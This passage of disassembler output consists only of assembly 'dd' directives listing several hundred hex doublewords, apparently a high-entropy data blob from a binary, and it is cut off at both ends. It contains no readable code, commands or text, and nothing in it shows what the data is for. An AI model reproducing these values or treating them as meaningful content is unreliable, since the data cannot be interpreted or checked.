67F41DB1h, 0C57F305Eh, 658648EFh dd 0A0B285D3h, 0A95A2207h, 0A19E80ADh, 2972176Eh, 0DD507A03h dd 0C03FA587h, 5816C8Fh, 0CFF4BDC7h, 239F3A0Ch, 3F920F15h dd 8E90D7A0h, 2B150F32h, 5EC815BDh, 65FD820h, 0D25C3F5Dh dd 4C109401h, 6DEE9859h, 16CBCACh, 2A1658A2h, 2EB17468h dd 0C0036220h, 21A600D9h, 4731F214h, 9A5029E0h, 2B407594h dd 0D18107BFh, 605F4EC6h, 0A3341B9h, 6F2E3B94h, 15CB3F6Fh dd 7001D3DFh, 6600DFCAh, 0DCF81A30h, 0B6A2E929h, 0CDBF0EEAh dd 8B6FD0E1h, 0A6E3EC1h, 0B265E539h, 4ADDB3F2h, 2617F86Eh dd 9BA2F7h, 21E7549h, 7274B60h, 587A4F16h, 81A1343Eh, 31F5F6F1h dd 1684C70Bh, 0F079DA8Dh, 0BBA0B0B8h, 89801FD5h, 16614B85h dd 0DF84886Ch, 0B4D94E01h, 505DF728h, 4500D023h, 77062954h dd 1202BF2Ah, 11D81A10h, 1E766618h, 4077D4F1h, 9C53D2BAh dd 0A0278913h, 41B94A73h, 2934F15Ah, 0A537BD6Ah, 0C6273B81h dd 44A713A3h, 61C076CDh, 58DCFA1h, 5599F81Dh, 0EB00F32h dd 0E605E605h, 6E00E758h, 90568840h, 81EF2D69h, 0FEDFA89h dd 0F0A187C2h, 6BFA4CA2h, 9061D00Bh, 4E6E9718h, 0C2BCC0FBh dd 979DFB02h, 0D45EEDDFh, 90FE09C5h, 637CB40Dh, 14D6003Ch dd 0C6054A49h, 697E3111h, 2BF88B20h, 6A2E0BDDh, 0CA3805E9h dd 0EE87D7FCh, 0BE6683E8h, 8CD3CE49h, 8CB61370h, 39BD8960h dd 0EFC69521h, 2A35B7h, 97AD6AFCh, 3AB55EAFh, 50BBD383h dd 4102107Fh, 4605CAD3h, 8ED162h, 89BD5E51h, 0D500FB3Ah dd 4E66957Dh, 0F654E5C2h, 6FA70163h, 0BD33AE56h, 3A3C6CE9h dd 9C9EAD5Eh, 1D1821A6h, 4C58612Bh, 0D57E07E5h, 0F5B87382h dd 27E2BFBDh, 61A56038h, 908622C0h, 0F2B86CEDh, 0BF575864h dd 0B60707B7h, 0D2400B13h, 835CEA2h, 0AE9F094h, 0C1BAC80h dd 0E4E7D3h, 76FDCA9Bh, 15559D8Bh, 6EFFE25Eh, 64611716h dd 10099A2h, 0E17BEC6Ch, 1E0E448Ah, 814DDE83h, 0E938202Ah dd 0F84A1440h, 0B4F5006Ch, 942FA464h, 0D9380862h, 5E75961Eh dd 5B57E8CCh, 8FAF485Fh, 8396CAA4h, 641AE40Bh, 0E92E447Bh dd 0A5AFA770h, 9141DE61h, 404298C7h, 0F78E269Ch, 0C7B50E24h dd 2D3B852Ah, 0EDFD782Bh, 6768603Ch, 0A5023C32h, 5911FB06h dd 3A7E6ABh, 0C376969Eh, 0EA8E68Fh, 0C6048160h, 30BABE4Bh dd 61C22CC1h, 0BE316A20h, 35EF4277h, 3F845193h, 17041523h dd 10C4890Eh, 468D4792h, 2D95F818h, 92B91B51h, 22FDF029h dd 0B58B1F86h, 70B12DA1h, 4D6BA53Fh, 0AF20C39Dh, 7352584Fh dd 0DD2E6F05h, 71A1AB82h, 0DB054920h, 0BE93B4F2h, 839C0702h dd 6A17E92Bh, 35E3C191h, 0FB007E6h, 98F9FB4h, 0CDDE0320h dd 601D70E6h, 90E7E080h, 0F4134542h, 0D9F605EEh, 0F671E461h dd 0A7CFE06Bh, 0D2AF2E9Bh, 8B860538h, 2B4BA1F1h, 2DC9A213h dd 5569C3F5h, 0FAA9C4BDh, 2E69605Ch, 6145FC85h, 1AD2FCCh dd 0F2CEA99Dh, 0DCCB8713h, 6D2539A7h, 6F120Bh, 73D21AE7h dd 0AB930088h, 0DBDEA94Dh, 40B45F7Ch, 1400372Dh, 2B16E529h dd 605A8016h, 8D9E8F0Fh, 0DCCCC365h, 62530778h, 508C51DDh dd 760F6A56h, 0DA97A00h, 89D82B61h, 1C552DB5h, 67FB779Ah dd 4998670h, 0E75E3B1Bh, 1E9EA851h, 9A251E40h, 0C1A27CC8h dd 0A334595h, 0BA855250h, 6FB05FBDh, 0AE8C3892h, 0BCA64BBCh dd 0E7843126h, 5485A8D7h, 65E19AA6h, 0C01ECC77h, 75522A0Ch dd 5031AEE9h, 5AE15D0Eh, 763FCD24h, 0D5FCA2BEh, 30FB3163h dd 11B5571Ah, 45D1D20Dh, 2280564Ch, 0E9203691h, 4FF17D49h dd 1988C59Ah, 5BA5ABC0h, 1EBA014Ch, 0FBEF3FBFh, 0B6A84459h dd 0BCE8E0DDh, 9ED096Ah, 9278DD8Dh, 0B8FB87AAh, 97B6270h dd 0FA8B094Fh, 0AC578825h, 226E4B4Bh, 43054900h, 13955837h dd 1EB61048h, 8B0B1251h, 8E9A69F2h, 8038FC14h, 0A485B9CCh dd 633B12AEh, 0EC7B0099h, 0DB0591EDh, 4E90DD09h, 1D0F05C4h dd 985ECD49h, 16C23EA0h, 0C904AAF5h, 0E40044A2h, 0C15F836Eh dd 9B2D186Fh, 0FA3394A5h, 0FB5B92F6h, 0BDC95935h, 1556A30h dd 0A4EC67A2h, 6C5E39F7h, 0F0D346A3h, 53C5C47h, 0DD8529AFh dd 0BD8F880Ah, 0EB623FEDh, 5BD55DEh, 0E0740982h, 0B15EC35Ch dd 0DBE66DB5h, 18147994h, 0F5B14CEh, 0BF80D98Ah, 79FFA915h dd 37BF2B7Fh, 0B6580405h, 2B93C0F4h, 35B6B87h, 76588762h dd 0B500F6BDh, 69AD5CE6h, 0B705BD89h, 0EEE91605h, 8F36CAE1h dd 0CE9F91F0h, 7DF2484Ah, 705BA90Eh, 39DC1209h, 0C0CB5E1Ch dd 577562F9h, 31806EB7h, 4EBED7B7h, 321B188Ah, 0F5F35EC8h dd 0AE95DEB8h, 0EF77E265h, 11919D1Fh, 62A2811Ch, 639BB56h dd 0A94EE04Ah, 39292640h, 4CC1C58Dh, 0DB0D12D5h, 0E6658070h dd 0CB6E7Ah, 642B7AE8h, 135121ADh, 4844568h, 0ABE9C434h dd 31C51704h, 5DAF8F56h, 0BCC349E4h, 22E21261h, 46B9C1EFh dd 0DECA6CB2h, 0DAEEBFC5h, 5AA9CBCh, 83D80CB2h, 2C6D4981h dd 5084F462h, 0E7F260h, 0AFF27224h, 0BBAC803h, 905E61F9h dd 8F711D53h, 5A04203Fh, 7900F088h, 5D1C9E89h, 7A7D3CAAh dd 1E870136h, 0F5F88B7Ch, 22042B5Eh, 81400882h, 553F42D6h dd 510B6C9Eh, 52F62953h, 0C1BE0E1Ah, 0DB335F52h, 4DCFC0ECh dd 13088F05h, 48859DCh, 12180191h, 83130208h, 10D59D89h dd 7851913h, 0F88991E2h, 372D59F4h, 0C01C004Dh, 9159938h dd 0F0BF071h, 7152F8B7h, 0DB970000h, 0C0F71507h, 0BB11CD00h dd 4DA6BDFDh, 5F90A176h, 50911D20h, 258DCF21h, 924C297Dh dd 0AFC76800h, 3BE0694Eh, 850112ADh, 0F8D1BCC1h, 0A21F8C16h dd 0E6803198h, 0DF1B665h, 0C892D0Fh, 310574C5h, 21B4BD9Dh dd 25BBB68Dh, 0E3707A53h, 96F3062Ah, 0F67C6CB1h, 81B43639h dd 252948B8h, 2630C18Bh, 0B2044F1Dh, 4A8688D2h, 25EB21F6h dd 50C945EDh, 8F950BF7h, 0BB6E2218h, 166B595h, 0CA1BC29Ch dd 0BEF7F87Dh dd 0CF40290Eh, 7166A00Dh, 0C390058Ch, 5061E7F0h, 0C57D55A0h dd 0A49E517Bh, 32F19D40h, 0A40B0156h, 7A6346E4h, 6EAA2A6Ah dd 0D86800AAh, 298E516Fh, 1F912895h, 0F363976Fh, 2780F40Fh dd 0F9566AE6h, 1EF81C0h, 449724F7h, 0F050824Eh, 81FCC083h dd 0BB2FFD88h, 8231457Ah, 1104BEE2h, 844AE350h, 0B52B045Fh dd 434CB1ADh, 309D5528h, 0AFF681DEh, 1710740Fh, 0AEDB535Fh dd 46D7CFC0h, 0BE0F92ACh, 407BA643h, 6ECEE81h, 98544E34h dd 9527B5BCh, 97F2EE0Ah, 0EB14182h, 0C442Bh, 9EBC5CC7h dd 0C6B7EA59h, 2B15B300h, 0F7B93E09h, 0A42F1A34h, 0A7E34C8h dd 63C7DFEBh, 0EED8B1E0h, 0E3A8027Eh, 60D3FFEAh, 9748AE82h dd 18510AC0h, 0C8BC6181h, 0A62DC5CFh, 301CB28Bh, 4760B113h dd 405A636Ch, 596EC4C4h, 0C6E90511h, 8A8472B3h, 59301227h dd 416101Eh, 8B2923B2h, 81738CC6h, 73A7B700h, 2D06AFCFh dd 3CCA5B89h, 0B686845Bh, 2C00D419h, 0E366E0DEh, 2F9D8B88h dd 656F04C1h, 92728A69h, 782BE760h, 0B6507621h, 636DA72Ah dd 44B453E5h, 9B6F9FCCh, 32C14E60h, 0E1109506h, 2C006962h dd 37F50ACh, 34D26898h, 824A0EE9h, 83000A7Ah, 0B625BBBDh dd 413D4578h, 4130D674h, 7EFF3116h, 0FE004F7Bh, 0EC9E1995h dd 23E7472Dh, 723E0Ah, 3EF43FDh, 14E08388h, 4A85C755h dd 6F2FAE45h, 0AE9B1C88h, 0A68E002h, 16F1C6h, 4CF2282h dd 0E7070E2Ah, 0D82BDEB9h, 6AC13F17h, 376316E9h, 42089D10h dd 2699704Bh, 0E0A5A992h, 29AE3444h, 0C0991B0Dh, 0F10D72E1h dd 0A5A91602h, 9B7BC4A1h, 9BDC02Ah, 2DBB3CE8h, 9791CABEh dd 3081145Ch, 0DA28C883h, 43E44F80h, 49CF144h, 0F58D0961h dd 95901C24h, 6B625B6Ah, 9F00EB59h, 6AC7FDB5h, 7C800C6h dd 446DA8B8h, 0D0FD676Bh, 4E4BA91Dh, 0DDB188h, 5C1B1CDCh dd 6CA522B0h, 4D41000h, 0B7A1F999h, 0E5D63647h, 90972E8h dd 0D6332595h, 85EC95BCh, 1927DD48h, 0B0707F58h, 0FC78829Bh dd 98760F7Dh, 4E272AA5h, 70E69227h, 0CDCFA7Eh, 0AAB65627h dd 719A999Ch, 4271E426h, 161F5ADEh, 0FA6F5Bh, 0BF554FF7h dd 12F169DFh, 0E306BA38h, 3016E275h, 5307D732h, 8BF1BF0Fh dd 6D850181h, 3A57CD3Bh, 7E2F48C2h, 442F4D15h, 206EBAB4h dd 0A61EF101h, 70C4E928h, 93EE804Dh, 8AAD5072h, 21E551E1h dd 2680B978h, 900B02CBh, 6B22C4Fh, 7C00D6A8h, 2C6BFB70h dd 21BD2936h, 0E4A0569h, 0B03C272Dh, 6054B20Bh, 821C9DC0h dd 0DEFE438Ah, 920BB8F6h, 803EC072h, 0A968B38Fh, 7291BD15h dd 0FCF8FBD4h, 0CC003D65h, 1A995766h, 9483CA7h, 5EB6DF9Ah dd 66FF5C0Bh, 8AF059C1h, 15BD0382h, 967716EAh, 0D4F996FCh dd 8CA4B301h, 0AE17BDB4h, 774D5BFCh, 23112D09h, 33A1AD44h dd 12F22D0Dh, 6D37F7B7h, 3C59DE1h, 4DC3B452h, 0E71BE0E3h dd 5B0083Ch, 0B219312Dh, 50605BBFh, 6C01EED6h, 0A13AAF93h dd 0C48954B2h, 951A1C49h, 21F9AC41h, 89FED095h, 1EEDBD24h dd 0D2305893h, 2D9EC761h, 0B2A443F2h, 0A9885765h, 7F7C00F3h dd 920A2C9Fh, 0F80BDFFCh, 6A94E22Bh, 0D0377F9Bh, 811A885h dd 3801B3B0h, 0E3CA259Dh, 8D1F354Eh, 0F6B5710Eh, 6A5E2BA6h dd 0D83F7D4Dh, 0BFDF00EBh, 605B0C03h, 0C8114AB0h, 85001B6Eh dd 0E4836CBEh, 272BC337h, 0A182659Dh, 99D96159h, 0DF4CAF11h dd 0A6459F7Ch, 30025B13h, 472BD874h, 601B641Ch, 721D3A6h dd 660983BFh, 0EE81200Ah, 59B66005h, 7BAA69C5h, 6D81609h dd 4EABBE30h, 3F300ADh, 0BDDD566Ch, 5F396A46h, 9EC63F88h dd 0F6F25CF6h, 0D9D7AF39h, 3D6590Eh, 8F4B44E9h, 2700F26Eh dd 0D753BB3Fh, 8B2F9F2Ah, 7CB5FFC0h, 6BAEDC8Eh, 44896D07h dd 0C23F601Ah, 0ED6E62Ch, 0DABF3E8Dh, 0AB7891E4h, 2C15F608h dd 3F6825EBh, 5725D73Fh, 70BBDB16h, 0EA04AD8Fh, 9E93243h dd 6DE19440h, 4E0AF783h, 8BD50A81h, 0D1BD2302h, 0D906D409h dd 2B5BC24Bh, 95FCE2D0h, 1B64CBCDh, 66DDE960h, 8B94860Fh dd 1ABCF203h, 13542416h, 0F814E990h, 0BFCF0083h, 81F9A6E1h dd 8D0C14E6h, 66507687h, 0A5ED13F6h, 0D30AED5Eh, 0BD80869Ah dd 0E46FE55Fh, 0F5858908h, 3190022Bh, 10567195h, 0A230FC12h dd 0BC92CAh, 0DB904F4h, 58949DA6h, 22F9C81Dh, 0D58B775Dh dd 0C12E023Ch, 5FFE2210h, 379F24D8h, 0CFE00042h, 17C6B960h dd 84BD1CE4h, 610B04DEh, 583D0487h, 0E6098E20h, 0D0F9F052h dd 0C2379758h, 86BC6016h, 0E341C93Fh, 2E8E502Ch, 3AE1684Ch dd 0D901D252h, 4CEAB72Fh, 2D587461h, 0B2F7E983h, 0B322ECE0h dd 0E1F978AEh, 0F5F41817h, 7EBC4730h, 5F56006Eh, 0D8D18FC4h dd 0B6241B8Eh, 590B0E25h, 0F18E0B64h, 656100A5h, 2A931940h dd 823C300h, 7CFB0390h, 53B13F27h, 5F852EFCh, 8B07DE9Fh dd 188A0DD5h, 40FF4B76h, 892D0F07h, 9721DB27h, 0E7B0F2FFh dd 58D15F95h, 0BA8515Eh, 24F87821h, 1B45356h, 5D2A499Dh dd 40E9C45Fh, 0E28BFB6h, 5E0A6120h, 226BFB60h, 9D50824Ah dd 0A961EF42h, 0FAB53080h, 591CB94Eh, 703553A5h, 0BE00F061h dd 2A95BC23h, 1321F38Bh, 0B91BF58Dh, 7F18DA9Dh, 0D284B92Ch dd 8BFF1014h, 0EEE65B17h, 8F01EFF0h, 76E5D407h, 0F71E183h dd 6B673485h, 2E12E6E4h, 0E16EC152h, 4C705737h, 1D9DB941h dd 8B2A153Ch, 55A66Fh, 49857C21h, 836471F9h, 69185C00h dd 0D619DDDAh, 2DCB15F7h, 0B245BFCh, 52EE60C6h, 1CB02943h dd 4B611840h, 8FD89B60h, 2C06E04Ch, 53817703h, 0A658FB91h dd 9CBD83C0h, 0E10BA755h, 848BB97Eh, 0DF50248Fh, 5B20B55Bh dd 6255C1FDh, 0DC84657Fh, 0A17B47DEh, 6055B483h, 0C53FA5E5h dd 0DA1AB1D4h, 0D5663CA7h, 2A9732C6h, 66D86873h, 0F0114895h dd 298B114Ch, 0D34A0C89h, 0D6304828h, 33271E19h, 0E6CDC6EEh dd 20065C52h, 1A799D8Bh, 87FCEEA4h, 0CA4539B6h, 9855781h dd 44E9D74Ch, 0C1005412h, 383B2DF8h, 1922E4Ah, 0C919E658h dd 0E17B27D6h, 1EAA4743h, 0E8AFA976h, 0D2FB0209h, 15BD9529h dd 0C3DED492h, 0B912AFA6h, 9F8B90C2h, 80199136h, 238F26EDh dd 96025274h, 0AFBDD2DDh, 0AA8BFCA0h, 0C152442h, 0E2B2AA52h dd 5528D5Ah, 814EDBB1h, 1A5F6C5Ah, 0BF314360h, 9EA483FCh dd 50FC53E9h, 0D901EA03h, 0E890BB08h, 0AF576ADAh, 19BD480Bh dd 2FBBA423h, 683D1555h, 699B5915h, 7096F35Dh, 0B8A66057h dd 0CDF629BDh, 0AF3C2C5h, 0A0FEFF61h, 6F936E98h, 246E778h dd 6F61A8BCh, 905D81E0h, 282F1A5h, 896B8677h, 0F8792148h dd 0F21EE585h, 4CA9E3FEh, 9407258h, 1376A95Eh, 8019F814h dd 0C18E5E70h, 7D2D3872h, 21538D81h, 21B4753Fh, 0DF825B35h dd 6F746E81h, 1170377Dh, 85C725C6h, 63B716BAh, 6B366682h dd 0D73AE0D9h, 0DC339661h, 1FBFB800h, 0EB57C6A7h, 9D611C07h dd 6D32DE9h, 3DBBFD8h, 585FBA6Fh, 7AB01B2Dh, 892D8501h dd 0D021530Ah, 1A5CE398h, 0C15109Eh, 0BAC18B0Eh, 2308F007h dd 3178EA81h, 14C28313h, 0B65EF8C4h, 397F97Fh, 0CAE63515h dd 771FD50h, 258991BBh, 5E85070h, 0C22B3158h, 0C6FFF01Ah dd 4D3801C0h, 8CBB5A4Ah, 5003B744h, 81D0033Ch, 5F45B33Ah dd 254BAF19h, 0D060F72Dh, 359AD9E9h, 0BCC88B26h, 0A830B72Ch dd 0CC3C4003h, 3DC2064Fh, 3EEF146Fh, 181112B1h, 5BF8A607h dd 30C1CC3h, 99201BD1h dd 0A0DD4D0Eh, 1041157Bh, 0A5ABB87Fh, 50516F8Ch, 1410EC8Bh dd 14B0A981h, 3359B560h, 5EBFC3C0h, 0FF24E57Ah, 470158F7h dd 9AA7D268h, 16A101D4h, 7A216108h, 23FF2FE5h, 2732A94Fh dd 6444D3EBh, 92E1F307h, 25F16681h, 1EE0C7CAh, 0D38F0556h dd 0E90D78h, 5AF80815h, 0A1F1D57h, 9DC0C379h, 0CC71D186h dd 0B49C7E1Ah, 59E140ABh, 3F00B1DBh, 0E7BBF3C5h, 1F36679Ch dd 93C2817Ah, 334A46Fh, 0F713F1A6h, 1B37FF2Bh, 0A5ACD70h dd 570D0050h, 1ACF3866h, 310086FDh, 0B43A1C8Bh, 3F381D6h dd 3EDCC2FAh, 0C3C182B1h, 5A23E025h, 2CF8B3Ch, 998A02EBh dd 97987F4Eh, 0A50353F1h, 5EA66C33h, 57DDF0E4h, 26A006F6h dd 94B464C4h, 9158D926h, 0E9900E60h, 266800DCh, 0C615749Ch dd 0DAE43421h, 0D7A22500h, 53615A43h, 66D60181h, 8F0E75ABh dd 805A2004h, 58F7E101h, 0EF8159B4h, 632B0AE8h, 36C7A746h dd 8EFC113Fh, 7D91C8FFh, 35118424h, 0DED36038h, 0BCD6FC00h dd 0F3A513D8h, 672B9B00h, 0F00E3DDFh, 58622FCFh, 9D61DCC1h dd 0E90CDA08h, 713D29h, 0D93A7796h, 63EF2378h, 10042D0Bh dd 6F09821Ch, 1F364E8h, 0B022FD5Eh, 0DCFCC1C8h, 0AF923EE9h dd 8FF4E500h, 0B1487981h, 0AAF000C7h, 0A9093F7Bh, 250027CAh dd 93CC8912h, 331B261Eh, 1908668Ah, 89F42172h, 6FBF7D00h dd 0B08B6741h, 0BCEC71h, 0B3604955h, 518E848h, 9AC33600h dd 4532A747h, 56A9060Fh, 3815D50Ch, 0C6724200h, 47220527h dd 8B3B01C0h, 0ACA790C4h, 0A80FDC99h, 0E2C2F601h, 1D188F25h dd 0F9272081h, 4FCA7A51h, 9A831120h, 0C9CA3C80h, 0C0C0A572h dd 5A6C4905h, 562303E4h, 62A0EFBh, 21530830h, 5A7467h dd 768C60D3h, 24590285h, 291B8E18h, 534107C8h, 1CA29C2Eh dd 3BC9D30h, 47F49170h, 50012003h, 0ABD8BDCh, 5C9E21Ah dd 0E5B00703h, 0D6069C70h, 0CEA4C646h, 21086008h, 10E5DBE4h dd 0DF938C00h, 0A768F6CCh, 136420E2h, 0C01950C8h, 9C73E5DDh dd 222CE46h, 0E5DAE700h, 3C690FD8h, 0C4913207h, 0F1200B90h dd 70B8D7h, 8756374Dh, 0E2B08ED4h, 13361401h, 7DAF2260h dd 0B43B9D4h, 0EAC12DA6h, 0A83908h, 14B050A9h, 4B1D7DC9h dd 0BBC0F270h, 9C6B03AFh, 33BF288Fh, 56CAF084h, 7302D4D4h dd 7E23E35Ah, 6A105531h, 0D0045A7Bh, 212CBF23h, 92160081h dd 8D582040h, 7172185Fh, 3E8110C3h, 0A06B91C0h, 148AC93h dd 2547EBE1h, 60F3B8A7h, 173160FFh, 3B87986Dh, 8097A200h dd 3F601063h, 0F302C41Ah, 4C78AAh, 0CD891304h, 1E621693h dd 0BF80CB25h, 90AD562h, 745B6843h, 23EA9400h, 25614C47h dd 67BF9C60h, 0F1817986h, 6006B01Fh, 0C682DB27h, 0CD2A00C1h dd 0CB430C49h, 4B7FA52Eh, 212F08CCh, 49D52608h, 0C38300A5h dd 0FEADEA6h, 0B95F561Eh, 0E3F59180h, 486B2793h, 60641CFAh dd 49CC60DAh, 0D3432313h, 0B003711h, 457949D4h, 5330979Ch dd 4658B024h, 3CCA8016h, 0BCF91060h, 5BFAACDh, 203BDD99h dd 0B03FC17Eh, 23542212h, 0E5E70A17h, 62FE12C0h, 0D9200C54h dd 0C5E5DCh, 555CE1E2h, 8F43EA21h, 0A01FEC28h, 7B209276h dd 0C1B4823Ch, 0B447A091h, 1179EFD7h, 4052F094h, 0E5E3301Bh dd 0DE9C7112h, 92479439h, 0A2526720h, 6F3B008Ah, 8043A7C1h dd 69CF40FBh, 0ACF56A27h, 5067DC44h, 0A3430949h, 0C835458Ch dd 340049CEh, 0DDEF87C1h, 0C20DF88Ch, 0A773C9D8h, 89166C48h dd 0ADD1EB01h, 0A1523F6Ah, 23E24823h, 0A38F30h, 0D10172F7h dd 4CA46439h, 80D95724h, 52F9B08h, 46E08CDCh, 411A3CB0h dd 3A378800h, 5CDA0FFEh, 0F51E03EAh, 0B2ED11A4h, 2D725B98h dd 0ECB0C56Ah, 829FD711h, 623E25Ah, 6901C067h, 87855A7Ah dd 0FBF1CBD3h, 0AF9013DFh, 0C8142228h, 115A6F30h, 885E23E7h dd 7766804Ch, 3CD5705Ah, 517BBF00h, 0F79011F8h, 6B0A24A8h dd 0A4B42008h, 2164608h, 9C6CE5E6h, 100E31F6h, 1E5DFD8h dd 0F59957E2h, 64938040h, 0E40B4480h, 21C8F97h, 0A38DC50h dd 9467438h, 79A2D501h, 0A919F982h, 31D1D818h, 56007E18h dd 25FD5C38h, 608233F0h, 0A648213Dh, 1C006BCFh, 0F3E336C6h dd 267C85C4h, 1C148155h, 0D5C43FDBh, 49CF048Ch, 62DB4312h dd 0D70A2033h, 0C577CC49h, 65F4B002h, 44A0FA3Fh, 2754658h dd 93C68908h, 101D312Eh, 8911CCh, 29E51EDAh, 13EB4434h dd 0A0D2B426h, 0B03AD80Ah, 0E0601444h, 9C236EE5h, 0B11E6h dd 38E5D9DAh, 12456FA7h, 220F04E2h, 0E4301004h, 9C6A11E5h dd 58229C86h, 5C00B0DEh, 0CDBA5D3Ch, 3B0FEE1Fh, 72737712h dd 0DAEA4440h, 0E72A7174h, 48419C30h, 33106C12h, 542E9620h dd 6F005223h, 60837E07h, 681B0954h, 400158CFh, 22C4ED6Dh dd 1D523C0h, 23E05A70h, 80AC6376h, 9C5A786Bh, 38BF10A3h dd 0E3A86224h, 0B722002Ch, 18C42E04h, 54C3D8C7h, 0CF00F4E0h dd 184D82EBh, 31F15CB1h, 2A003918h, 3D4CFB4Eh, 60839579h dd 0A7342136h, 0EE01B991h, 96F56EA6h, 0B1F13557h, 0DC681482h dd 840F65Bh, 0A1C00940h, 1CACDDEAh, 0EB11C026h, 4380410Bh dd 18C0A759h, 0CBB12582h, 5C873068h, 10F60A18h, 4C7C1C48h dd 4E0F1024h, 94DDE507h, 38218B54h, 1032239Fh, 900E24E2h dd 4444A720h, 0D80D6108h, 22FFB820h, 0DE4668FDh, 0F49C002h dd 0A09CB343h, 49C80700h, 293EA254h, 6871015Dh, 88C30A6Bh dd 92F1833Fh, 7EF2E0DFh, 0B8777F60h, 15210994h, 4445F3F7h dd 8E600CE4h, 2200FC30h, 7CBBC20Eh, 9240889Bh, 0EC055CF4h dd 8C4CE8h, 0B08DD6D1h, 669E4210h, 80D79317h, 41A75A00h dd 0ADDEC5Ah, 0A67264D1h, 80D81194h, 430D49C2h, 36448CC3h dd 49CA0309h, 796E3D5Fh, 0F045D580h, 4877AA26h, 0C0890EC0h dd 223E4693h, 17CE0020h, 3DA8F489h, 98006A37h, 74A48E7Dh dd 259A94Ch, 0F2CEDC20h, 80C53C62h, 706057E4h, 7FF214F2h dd 3C301378h, 0E9FE790Fh, 58980292h, 0F0FB2E23h, 70584453h dd 0BF430952h, 64001C3Ch, 344B9F26h, 33972280h, 0C2181304h dd 9E2D7B3h, 74B4BC88h, 0D003246h, 0D1FAFF85h, 9F2490BEh dd 4C8F4456h, 7A93041Bh, 0AAA058D2h, 171F4580h, 72461CBh dd 92306408h, 0C6CB4F97h, 61C382A0h, 0B910C500h, 0C17A9C2Eh dd 4BBF5CA0h, 0F3505332h, 0C500E8B7h, 6ABBD2A1h, 0BA870145h dd 0B8DE112Ch, 0D043406h, 0DC795CB3h, 6207A6F0h, 9716D1EFh dd 0B002788Bh, 90080A4Ch, 9F1FC30Bh, 80521174h, 1428BF46h dd 4B18004Ch, 98FABC4Eh, 28F393E1h, 8C32BC48h, 4257EC01h dd 0E5432C08h, 0A2857881h, 883B2231h, 4C43FB0h, 0D114BCDCh dd 0F5A6248Ch, 3022002Dh, 0B0441A16h, 8474040h, 0EA604E44h dd 0DF02AE6Ch, 0AD0DD80h, 30594179h, 3D8C80E7h, 5DB4FCBFh dd 0AC4EB4B0h, 40A07F7Bh, 0E24391B9h, 10ACB44Dh, 0CF0151F6h dd 6C641863h, 3821A699h, 113836A9h, 890C8079h, 8C0E93C2h dd 15C810EDh, 91A1D89h, 0B36E094Fh, 4B3A5801h, 77B42D82h dd 92E15400h, 1C4838E3h, 3079038Ah, 0A783C11h, 6C1E7FF8h dd 15E08213h, 0EF00C85Dh, 0ADAF2F5Fh, 9124003Ch, 95A1D5A3h dd 0E814D3E6h, 2F8786Fh, 30D6120Dh, 0C504C3F7h, 0C0188C27h dd 23E15A71h, 0E0546E4Ch, 55A7964h, 926510ACh, 88C01052h dd 0CEC745Ch, 0DFFF008Ch, 582FC710h, 1812EF91h, 0BC3268F8h dd 890F3074h, 3693C111h dd 0CF801F88h, 0B3458910h, 3A849067h, 130CFC0Dh, 9EC1596Dh dd 1C00867Fh, 85C10937h, 5FA8DABh, 690C2EAEh, 0C4D21115h dd 4344112h, 0B61B0810h, 0B831E0B4h, 0E77E1DBDh, 88BC0215h dd 1C475513h, 0B36020C4h, 0BFC012Ch, 115E8800h, 31AA65A4h dd 918001Bh, 4F60554Bh, 90160EEDh, 0F82124F7h, 2C33209Ch dd 0DD304EA2h, 409701BEh, 8765D9C9h, 3648C8FCh, 62022109h dd 1D6CABA8h, 81021120h, 4D8ACAEh, 5323BFCh, 0F7684320h dd 72900245h, 2471CB5Fh, 47184CD9h, 0FABB8200h, 0C7CD4A4Dh dd 0EC225215h, 0EACA9700h, 0A9A3D11h, 59E3B0A8h, 0C049424Bh dd 3278C83Fh, 4BA35CE4h, 54946900h, 5C97154Bh, 3C302003h dd 140BE17Dh, 0ECAB9BB8h, 0DFB80892h, 849C1C0h, 80AB4343h dd 0EA49C904h, 4ED801A3h, 392646Fh, 0E84C383Ch, 90588C0Bh dd 2983139Ch, 261CE491h, 0D8F05006h, 0E80808D4h, 120C8C56h dd 7110E0C9h, 0FA100F0h, 62BBEDADh, 6E01B453h, 55A1C2Fh dd 207484D7h, 0D1109189h, 381803h, 77DD6D67h, 5D9CB89Eh dd 0AB8D1618h, 9841B291h, 61EA2718h, 36115017h, 5CCF658Bh dd 44584847h, 20426B0Bh, 939AA411h, 51A96C02h, 5CDA83h dd 95DF1D72h, 6DE22438h, 8C159600h, 8F908BDDh, 0B03D68DBh dd 9502DEE8h, 0BF80BEC8h, 0C8EA5Dh, 8760A10h, 0ECFAE02Fh dd 0AF353986h, 8BA28080h, 0DF9BC1FBh, 7D7EB11Fh, 0C4C05016h dd 0C1B9AC2h, 0AA8A1675h, 713E0C49h, 0F86848D7h, 9A008C0Dh dd 5BC73C32h, 74A233B8h, 482E4247h, 8C56E810h, 79556409h dd 188F859Ch, 3D08A000h, 80A90C92h, 3424CF90h, 0BF016001h dd 0E4665198h, 22B2DC33h, 693630h, 0F584B05h, 2BBC47AAh dd 4A9AC0C4h, 35A2B0A3h, 1CAE8930h, 821A95BEh, 26A6938Bh dd 0B79ACD9h, 38D64E18h, 5723D03Ah, 0B5441938h, 58228240h dd 0E5EC3300h, 1534A6Bh, 7BD8F107h, 2650DC20h, 992C7F9Fh dd 20E8124Ch, 0AF2A9784h, 0AC183867h, 268EF0DAh, 7C91005Bh dd 4A8F2411h, 9F981D6Ch, 71699814h, 32782560h, 0D813F728h dd 0CA3CBA3Ah, 0A800C452h, 0C76223B9h, 193D1EDAh, 0A2450278h dd 4C49C202h, 6D7C48CEh, 23E55A08h, 4050C44Eh, 655A7560h dd 30D10EFFh, 1D6CEF93h, 0C7096A78h, 0C240D791h, 4BE440E4h dd 8823090Bh, 3CE05A3Fh, 3C2FB4A9h, 4FFC221Eh, 0B9820119h dd 0E20310h, 8BC0CAD9h, 6CDBF4BFh, 1FE3A718h, 758AB19h dd 0F0E9754Fh, 0F0C01B39h, 961D24C0h, 6F97AC27h, 0AB60A005h dd 31D550E0h, 0B8F86A0Ah, 9991D061h, 509D6816h, 291B6002h dd 84B703h, 0E38AAA54h, 1450A9EEh, 9337BB5Ch, 6DC92947h dd 21B5C040h, 0F324ABFAh, 284058E0h, 137E57Fh, 71877ADBh dd 0ECB9FBF5h, 1BB0919Ah, 25DA1D00h, 139F9CD1h, 0A8ACA031h dd 29FC2844h, 47FA08B8h, 30A3A5Fh, 930184CDh, 527768CAh dd 1FEC2038h, 87A60F8Ch, 4C73D21h, 2C5802Bh, 78902A2Dh dd 3133CF20h, 3DE1D582h, 8343391h, 1909ECEFh, 0F264119Ah dd 93B7E400h, 214460CFh, 0EE39B4E6h, 